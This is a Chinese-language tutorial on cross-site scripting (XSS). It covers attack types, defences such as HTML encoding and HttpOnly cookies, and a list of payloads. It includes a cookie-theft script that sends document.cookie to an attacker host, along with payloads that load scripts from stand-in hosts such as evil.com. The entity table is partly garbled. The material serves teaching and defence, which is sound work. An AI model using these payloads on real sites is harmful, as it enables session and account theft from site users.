1.跨站脚本(XSS)攻击?
XSS(Cross site scripting)全称为跨站脚本攻击,是web程序中最常见的漏洞。指攻击者在网页中嵌入客户端脚本(例如Javascript)HTML代码,当用户浏览此网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的,XSS攻击对象为客户使用层。比如获取用户的cookie,导航到恶意网站,携带木马病毒等。
原因:过度信赖客户端提交的数据,对输入的数据未做需要的过滤处理。
危害:盗取客户各类用户账号,如登录账号、网银账号、管理员账号等,使用盗取的账号进行非法的操作,比如使用对应的权限对数据删除,篡改,添加,使用网银账号进行非法转账等。
2.跨站脚本(XSS)攻击类型
①存储型
存储型XSS,持久型站点脚本,数据存储到服务器数据库中。如在表单数据中插入数据时,没有对相应的字符进行过滤处理,提交后将对应数据提交到服务器数据库中,在用户访问该页面的时候触发攻击,从而盗取用户cookie
实例:
在用户的评论去发表提交一条评论信息<input type="text" name=''content" value=''输入内容">,内容对应插入<script>alert('hoell')</script>,提交保存到对应的服务器后台数据库也包含对应的攻击脚本,当其他的用户访问到本用户的信息页面时,执行对应的攻击脚本,显示一个hoell的弹窗,将数据改成html标签进行攻击,打乱了原来的样式正常输出。
②反射型
反射型XSS攻击,非持久化跨站点脚本攻击,存在欺骗用户行为,诱导用户点击预览向对应的URL。
实例:
比如在一个输入框中输入对应的搜索数据,正常显示为搜索到的数据内容,如果未做特殊数据处理,输入<script>alert('hoell')</script>提交数据后页面弹出弹窗信息,说明输入的信息已被页面执行。
③DOM型XSS
不经过后端,通过修改交互页面中的DOM对象并显示时也会产生XSS漏洞,DOM-XSS通过url传入的参数去控制触发,也类属于反射型XSS
④攻击实例:
盗取cookie实例:
<!DOCTYPE html>
<html>
<head>
<title>xss攻击</title>
<meta charset="utf-8">
</head>
<body>
<form action="./test99.php" method="post">
留言:<input type="text" name="content" value=""><br/>
<input type="submit" name="" value='提交'>
</form>
<br/>留言记录:<br/>
<script>
var Str=document.cookie; //获取cookie
var a =document.createElement('a'); //创建a标签
a.href='http://www.linuxtest.com/test2.php?'+Str; //攻击者主机
a.innerHTML="<img src='./aa.jpg'>"; //掩护图片
document.body.appendChild(a); //将标签添加到页面中
</script>
</body>
</html>
3.跨站脚本(XSS)攻击防御方式
①在html实体上,对应的实体显示进行转换编译:HTML Encode
JavaScript Encode:资料参考
var HtmlUtil = {
/*1.用浏览器内部转换器实现html转码*/
htmlEncode:function (html){
//1.首先动态创建一个容器标签元素,如DIV
var temp = document.createElement ("div");
//2.然后将要转换的字符串设置为这个元素的innerText(ie支持)或者textContent(火狐,google支持)
(temp.textContent != undefined ) ? (temp.textContent = html) : (temp.innerText = html);
//3.最后返回这个元素的innerHTML,即得到经过HTML编码转换的字符串了
var output = temp.innerHTML;
temp = null;
return output;
},
/*2.用浏览器内部转换器实现html解码*/
htmlDecode:function (text){
//1.首先动态创建一个容器标签元素,如DIV
var temp = document.createElement("div");
//2.然后将要转换的字符串设置为这个元素的innerHTML(ie,火狐,google都支持)
temp.innerHTML = text;
//3.最后返回这个元素的innerText(ie支持)或者textContent(火狐,google支持),即得到经过HTML解码的字符串了。
var output = temp.innerText || temp.textContent;
temp = null;
return output;
}
};
View Code
测试:
var html = "<br>aaaaaa<p>bbbb</p>";
var encodeHtml = HtmlUtil.htmlEncode(html);
alert("encodeHtml:" + encodeHtml);
var decodeHtml = HtmlUtil.htmlDecode(encodeHtml);
alert("decodeHtml:" + decodeHtml);
HTML Encode部分转义:
对应实体原始类型 | 描述 | 转义名称 |
| 空格 | |
< | 小于号 | < |
> | 大于号 | > |
& | 和 | & |
" | 引号 | &quou; |
′ | 撇号 | '(IE不支持) |
②将重要的cookie标记为httponly, 这样的话Javascript 中的document.cookie语句就不能获取到cookie了
net core中设置:参考资料
// 全局设置:
public void Configure(IApplicationBuilder app, IWebHostEnvironment env)
{
//app.UseCookiePolicy(new CookiePolicyOptions
//{
// HttpOnly= HttpOnlyPolicy.Always
//});
}
// 个别设置
HttpContext.Response.Cookies.Append("user1", "yzz",new CookieOptions
{
HttpOnly= true,
//Secure = true
});
HttpContext.Response.Cookies.Append("user2", "yzz2", new CookieOptions
{
HttpOnly = false,
// Secure=true
});
// 只通过https来获取cooki:Secure=true
View Code
③控制用户输入,只允许用户输入域中规定的字符或数字,将其他的不相干的字符全部进行过滤。
④过滤移除JavaScript的事件标签:比如"onclick=","onfocus=",<img src=1 onerror=alert('bark')>
⑤过滤或移除特殊的HTML标签,例如:<script>,<iframe>,<;for<,>for>," for
4.XSS的攻击载荷(参考资料)
①<script标签>:最直接的xss注入点,脚本标记可以引用外部的JavaScript代码,也可以将代码插入脚本标记中
<script src=http://xxx.com/xss.js></script> #引用外部的xss
<script> alert("hack")</script> #弹出hack
<script>alert(document.cookie)</script> #弹出cookie
②img标签:
<img src=1 οnerrοr=alert("hack")>
<img src=1 οnerrοr=alert(/hack/)>
<img src=1 οnerrοr=alert(document.cookie)> #弹出cookie
<img src=1 οnerrοr=alert(123)> 注:对于数字,可以不用引号
<img src="javascript:alert("XSS");">
<img dynsrc="javascript:alert('XSS')">
<img lowsrc="javascript:alert('XSS')">
③<body>标签:可以使用onload
属性或其他更加模糊的属性(如属性)在标记内部传递XSS有效内容background
<body οnlοad=alert("XSS")>
<body background="javascript:alert("XSS")">
④<iframe>标签:
<iframe>标签允许另一个HTML网页的嵌入到父页面。IFrame可以包含JavaScript,但是,请注意,由于浏览器的内容安全策略(CSP),iFrame中的JavaScript无法访问父页面的DOM。然而,IFrame仍然是非常有效的解除网络钓鱼攻击的手段
<iframe src=”http://evil.com/xss.html”>
⑤input标签:
在某些浏览器中,如果标记的type
属性<input>
设置为image
,则可以对其进行操作以嵌入脚本。
<input type="image" src="javascript:alert('XSS');">
⑥<link>标签:
<link>
标签,这是经常被用来连接外部的样式表可以包含的脚本。
<link rel="stylesheet" href="javascript:alert('XSS');">
⑦<table>标签:
可以利用和标签的background
属性来引用脚本而不是图像。
<table background="javascript:alert('XSS')">
<td background="javascript:alert('XSS')">
⑧<div>标签:
<div>
标签,类似于<table>
和<td>
标签也可以指定一个背景,因此嵌入的脚本。
<div style="background-image: url(javascript:alert('XSS'))">
<div style="width: expression(alert('XSS'));">
⑨<object>标签:
<object>
标签可用于从外部站点脚本包含。
<object type="text/x-scriptlet" data="http://hacker.com/xss.html">